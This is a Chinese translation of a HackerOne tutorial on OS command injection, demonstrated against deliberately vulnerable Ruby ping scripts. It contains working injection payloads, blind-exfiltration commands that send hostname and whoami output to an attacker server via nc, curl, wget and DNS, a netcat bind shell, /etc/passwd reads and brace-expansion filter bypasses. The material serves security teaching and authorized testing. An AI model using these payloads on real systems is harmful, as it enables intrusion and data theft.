第一次翻译文章,自己英语比较一般,不得不结合google翻译来完成。希望以后除了写原创文章,可以多翻译各种文章,提升自己low逼的英语水平,一般在翻译的最后,会列出一些相关的专业术语单词。

命令注入,也叫命令攻击,是一种常见的黑客攻击,和sql注入类似,主要是业务开发人员编写的不安全代码导致的漏洞攻击。

原文地址:
How To: Command Injections
https://www.hackerone.com/blog/how-to-command-injections

命令注入是一类漏洞,攻击者可以绕过业务本身,在服务器上执行的一个或多个系统命令。

在详细介绍命令注入之前,有一点需要注意:命令注入与远程代码执行(RCE)不同。他们的区别在于,RCE实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统(OS)命令进行执行。 虽然最终效果都会在目标机器执行操,但是他们还是有区别的,基于这个区别,我们如何找到并利用方式也是有所不同的。

构建环境

我们首先编写两个简单的Ruby脚本,并在本地运行,方便学习和查找关于利用命令注入漏洞。 我用的Ruby版本是2.3.3p222。

下面是ping.rb代码:

puts `ping -c 4 #{ARGV[0]}`

上面的代码,将接受参数并传给脚本,调用系统命令ping来执行,然后将返回结果在输出到屏幕上。

示例输出如下:

$ ruby ping.rb '8.8.8.8'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=23.653 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=9.111 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=8.571 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=20.565 ms
 
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 8.571/15.475/23.653/6.726 ms

我们可以看到,程序执行了ping -c 4 8.8.8.8,并将结果输出到屏幕。

这是另一个我们需要用到的脚本,server-online.rb。

puts `ping -c 4 #{ARGV[0]}`.include?('bytes from') ? 'yes' : 'no'

server-online.rb脚本将根据ICMP响应(ping)来确定是否可以到达目标服务器。如果ping请求成功,输出yes,否则输出no。和第一个脚本相比,第二个脚本不再显示执行的具体结果。

$ ruby server-on.rb '8.8.8.8'
yes
$ ruby server-on.rb '8.8.8.7'
no

进行测试

检测是否有命令注入漏洞的最佳方法是尝试执行一个sleep命令,并确定执行时间是否增加。

第一步,我们需要计算ping.rb脚本正常情况下的执行时间,并作为基准。

$ time ruby ping.rb '8.8.8.8'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
...
0.09s user 0.04s system 4% cpu 3.176 total

通过结果,我们可以看到脚本执行了3.176秒,现在,我们通过sleep确定是否存在命令攻击。

$ time ruby ping.rb '8.8.8.8 && sleep 5'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
...
0.10s user 0.04s system 1% cpu 8.182 total

ruby脚本将执行命令ping -c 4 8.8.8.8 && sleep 5.

注意执行时间:它从3秒变成了8秒,正好增加了5秒。不过由于互联网有概率出现意想不到的延迟,很有可能增加的5秒恰巧是因为网络抖动而产生的。因此我们需要重复执行该命令,确认是否每一次都是8秒,最终确认命令执行漏洞。

我们再测试一下server-online.rb脚本,是否也是易受攻击的。

$ time ruby server-online.rb '8.8.8.8'
yes
0.10s user 0.04s system 4% cpu 3.174 total
$ time ruby server-online.rb '8.8.8.8 && sleep 5'
yes
0.10s user 0.04s system 1% cpu 8.203 total

再次证明,正常执行时间(基线时间)是3秒,而在命令中添加&& sleep 5后,执行时间增加到了8秒。
 
对于系统命令,我们可以构造多种sleep指令,比如:

time ruby ping.rb '8.8.8.8`sleep 5`'

当一个命令行被解析时,首先执行反引号之间的所有操作。 比如当执行echo`ls`时,程序首先会执行ls并捕获其输出。 然后,它将输出传递给echo,程序最终显示ls的输出,这被称为命令替换。由于执行反引号之间的命令是优先的,所以后来执行的命令即使失败也没关系。以下是带有注入有效载荷及其结果的命令表,命令注入的有效载荷被标记为绿色。

Command

Result

ping -c 4 8.8.8.8`sleep 5`

sleep 命令执行,命令替换在命令行中工作。

ping -c 4 "8.8.8.8`sleep 5`"

sleep 命令执行,命令替换工作在复杂的字符串(双引号之间)。

ping -c 4 $(echo 8.8.8.8`sleep 5`)

sleep 命令执行时,命令替换在使用不同符号时在命令替换中工作(请参见下面的示例)。

ping -c 4 '8.8.8.8`sleep 5`'

sleep 命令 执行,命令替换在简单的字符串(单引号之间)不起作用。

ping -c 4 `echo 8.8.8.8`sleep 5``

sleep 命令 执行, 当使用相同的符号时,命令替换不起作用。

time ruby ping.rb '8.8.8.8$(sleep 5)'

看上面这个代码,这是命令替换的另外一种测试方法。 当反引号被过滤或编码时,上面这个很可能会派上用场。当使用命令替换来查找是否存在命令注入漏洞时,建议两种测试方法都使用,以避免有效负载已经被替换(见上表中的最后一个示例)。

time ruby ping.rb '8.8.8.8; sleep 5'

在看这个语句,采用的是分号间隔方法,命令将会按照顺序(从左到右)执行。当序列中的某个命令失败时,程序不会停止,会继续执行后面的命令。

以下是带有注入有效载荷及其结果的命令表,注入的有效载荷被标记为绿色。

Command

Result

ping -c 4 8.8.8.8;sleep 5

sleep 命令执行,排序命令在命令行中使用时可以工作。

ping -c 4 "8.8.8.8;sleep 5"

sleep 命令 执行, 该附加命令被注入到一个字符串中,该字符串作为参数传递给 ping 命令.

ping -c 4 $(echo 8.8.8.8;sleep 5)

sleep 命令执行, 排序命令在命令替换中起作用.

ping -c 4 '8.8.8.8;sleep 5'

sleep 命令 执行, 该附加命令被注入到一个字符串中,该字符串作为参数传递给 ping 命令.

ping -c 4 `echo 8.8.8.8;sleep 5`

sleep 命令执行,排序命令在命令替换中起作用。

time ruby ping.rb '8.8.8.8 | sleep 5'

使用管道技术,前一个命令的输出可以按照顺序传给后面的命令。
比如执行cat /etc/passwd | grep root时,程序将捕获cat /etc/passwd命令的结果,并将结果传递给grep root,最终显示与root相匹配的行。

当第一个命令失败时,它仍然会执行第二个命令。以下是带有注入有效载荷及其结果的命令表,注入的有效载荷被标记为绿色。

Command

Result

ping -c 4 8.8.8.8 | sleep 5

sleep 命令执行,管道输出在命令行中使用时工作。

ping -c 4 "8.8.8.8 | sleep 5"

sleep 命令 执行, 该附加命令被注入到一个字符串中,该字符串作为参数传递给 ping 命令.

ping -c 4 $(echo 8.8.8.8 | sleep 5)

sleep 命令执行,管道输出工作在命令替换。

ping -c 4 '8.8.8.8 | sleep 5'

sleep 命令 执行, 该附加命令被注入到一个字符串中,该字符串作为参数传递给 ping 命令.

ping -c 4 `echo 8.8.8.8 | sleep 5`

sleep 命令执行,管道输出工作在命令替换。

漏洞利用

如何利用命令注入漏洞呢,一般需要确认它是普通命令注入还是命令盲注。两者之间的区别在于,通用命令注入将返回响应中执行命令的输出,而命令盲注不会在响应中返回命令的输出。

sleep指令通常用来证明是否存在命令注入,但是如果我们需要更多证据证明可以实施命令注入,那么id,hostname或whoami命令是非常有用的。服务器的hostname可用于确定受影响的服务器数量,并帮助厂商更快地获得漏洞影响。


通过命令注入在服务器上执行危险命令,厂商都是禁止的。因此,在测试或利用该漏洞之前,建议有厂商授权。在大部分情况下情况下,仅仅证明存在该漏洞的攻击是允许的,比如sleep,id,hostname或whoami,这些命令足以证明漏洞的影响,而且不会对服务器造成影响。

1. 通用命令注入

非常简单,任何注入的命令的输出都将返回给用户。

$ ruby ping.rb '8.8.8.8 && whoami'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.008 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=8.572 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=9.309 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=9.005 ms
 
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 8.572/8.973/9.309/0.263 ms
jobert

通过ruby的执行结果,可以看到上半部分显示ping命令的输出,最下面一行显示了whoami命令的输出。通过whoami这个命令注入指令,我们就可以收集证据证明该脚本存在命令注入漏洞。当然,这次攻击不会对服务器造成影响。

2. 命令盲注

由于命令盲注,系统命令输出不会返回给用户,所以我们要使用其他方法来提取输出。

最直接的技术是将输出转移到我们自己的服务器。要模拟此实验,首先在我们自己的服务器上运行nc -l -n -vv -p 80 -k,并允许防火墙对外开放80端口。

设置完毕后,我们就可以在命令注入中使用nc,curl,wget,telnet或任何其他向互联网发送数据的工具,将输出发送到我们自己的服务器。

$ ruby server-online.rb '8.8.8.8 && hostname | nc IP 80'
yes

观察我们自己的服务器,会发现接收到了目标服务器的hostname,也就是说命令注入将hostname的结果发送到了我们的服务器上。

$ nc -l -n -vv -p 80 -k
Listening on [0.0.0.0] (family 0, port 81)
Connection from [1.2.3.4] port 80 [tcp/*] accepted (family 2, sport 64225)
hacker.local

在上面的例子中,nc用于将命令的输出发送到我的服务器。但是,目标服务器上的nc指令可能会被删除或无法执行。为了避免失败,有几个简单的有效载荷来确定命令是否存在。如果命令注入时间增加了5秒,那么该命令存在。

  • curl -h && sleep 5
  • wget -h && sleep 5
  • ssh -V && sleep 5
  • telnet && sleep 5
  • 一旦我们确认了命令存在,我们就可以使用该命令将命令注入的输出发送到自己的服务器,如下所示:

  • whoami | curl http://your-server -d @-
  • wget http://your-server/$(whoami)
  • export C=whoami | ssh user@your-server
  • 即使server-online.rb脚本不输出hostname命令的结果,也可以将该输出发送到远程服务器,并由攻击者获取。 在某些情况下,厂商会将对外的TCP和UDP连接阻止。在这种情况下,我们仍然可以提取输出结果,只是更复杂一些。

    为了提取输出,我们必须基于我们可以改变的内容来猜测输出。 在这种情况下,可以使用sleep命令来增加执行时间,这可以用来提取输出。这里的诀窍是将命令的结果传递给sleep命令。这里有一个例子:sleep $(hostname | cut -c 1 | tr a 5)。 让我们分析一下这个指令。

    1. 语句首先执行hostname命令,我们假设它返回hacker.local。
    2. 程序会把该输出传递给cut -c 1,将获取hacker.local的第一个字符,即字符h。
    3. 再将h传递给命令tr a 5,这个命令的含义是将字符串中的a换成5。
    4. 然后将tr命令的输出传递给sleep命令,因此这句执行sleep h。而这句指令会立即报错,因为sleep只能接受数字传参。我们可以不停的迭代tr指令,从a一直试到z。当我们测试到sleep $(hostname | cut -c 1 | tr h 5)时,程序会sleep 5秒钟,最终说明hostname的第一个字符串是h。
    5. 接下来,修改cut参数为2,开始爆破第二个参数,以此类推,最终得到完整的hostname。

    这是可能的输出结果:

    Command

    Time

    Result

    ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 1 | tr a 5)'

    3s

    -

    ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 1 | tr h 5)'

    8s

    h

    ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 2 | tr a 5)'

    8s

    a

    ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 3 | tr a 5)'

    3s

    -

    ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 3 | tr c 5)'

    8s

    c

    如何确定我们总共需要猜测多少字符:
    将hostname的输出通过管道传递给wc -c,并再传递给sleep命令。由于hacker.local是12个字符,那么wc -c将返回13,因为wc会额外计数一个换行,另外脚本默认时间基线是3秒。

    $ time ruby server-online.rb '8.8.8.8 && sleep $(hostname | wc -c)'
    yes
    0.10s user 0.04s system 0% cpu 16.188 total

    上面的有效载荷表明,脚本现在需要16秒才能完成,这意味着主机名的输出为12个字符:16-3(基线)-1(新行)= 12个字符。

    注意,以上测试程序,在你自己的机器上执行时可能不同,因为每个人的服务器hostname可能不同。

    上述技术适用于较小的输出,而CTF比赛时,我们可能会读取文件,那么攻击可能需要很长时间。在出站连接被阻止,并且输出太长时间不能读取的情况下,这里还有一些其他的尝试方法:

  • 在服务器上运行端口扫描,并根据暴露的服务,确定提取输出的方式。
  • FTP:尝试将文件写入可以从中下载文件的目录。
    SSH:尝试将命令的输出写入MOTD,然后只需SSH到服务器。
    Web:尝试将命令的输出写入公共目录(/var/www/)中的文件。

  • 在对外端口上生成一个shell(仅适用于自定义的netcat构建):nc -l -n -vv -p 80 -e / bin / bash(unix)或nc -l -n -vv - p 80 -e cmd.exe(windows)。
  • 使用dig或nslookup进行DNS查询以将输出发送到端口53(UDP):dig`hostname` @ your-server或nslookup`hostname` your-server。 可以使用服务器上的nc -l -n -v--p-53 -u -k捕获输出。这种方法一般会起作用,因为厂商通常允许出站DNS流量。
  • 在ping服务器时,更改ICMP数据包大小,利用tcpdump捕获数据。
  • 还有很多其他方法,我们需要根据不同服务器采用不同的攻击思路。在利用命令注入漏洞时,上面提到的所有技术都比较常见,关键是我们自己的攻击思路!

    注入攻击防范

    多年来,我看到的有效防范手段之一是对有效载荷中的空白的限制。有一些名为Brace Expansion的东西,可用于创建没有空格的有效载荷。以下是ping-2.rb,它是ping.rb的第二个版本。在将用户输入传递给命令之前,它会从输入中删除空格。

    puts `ping -c 4 #{ARGV[0].gsub(/\s+?/,'')}`

    当传递8.8.8.8 && sleep 5作为参数时,它将执行ping -c 4 8.8.8.8 && sleep5,这将导致错误,显示没有找到命令sleep5。使用大括号扩展有一个简单的解决方法:

    $ time ruby ping-2.rb '8.8.8.8;{sleep,5}'
    ...
    0.10s user 0.04s system 1% cpu 8.182 total

    这也是一个有效负载,它将命令的输出发送到外部服务器,而且不使用空格:

    $ ruby ping.rb '8.8.8.8;hostname|{nc,192.241.233.143,81}'
    PING 8.8.8.8 (8.8.8.8): 56 data bytes
    ...

    或者读取/etc/passwd文件:

    $ ruby ping.rb '8.8.8.8;{cat,/etc/passwd}'
    PING 8.8.8.8 (8.8.8.8): 56 data bytes
    64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.215 ms
    64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=10.194 ms
    64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=10.171 ms
    64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=8.615 ms
     
    --- 8.8.8.8 ping statistics ---
    4 packets transmitted, 4 packets received, 0.0% packet loss
    round-trip min/avg/max/stddev = 8.615/9.549/10.194/0.668 ms
    ##
    # User Database
    #
    # Note that this file is consulted directly only when the system is running
    # in single-user mode. At other times this information is provided by
    # Open Directory.
    ...

    因此,针对命令注入漏洞,只有开发人员采取具有针对性的不同过滤策略,才能彻底杜绝漏洞的发生。

    Keyword List

    单词 释义
    vulnerability 漏洞
    baseline 基准,基线
    command substitution 命令替换
    payload 有效载荷
    backtick 反引号
    exploiting 利用
    proof/evidence 证据
    straightforward 简单的
    offload 转移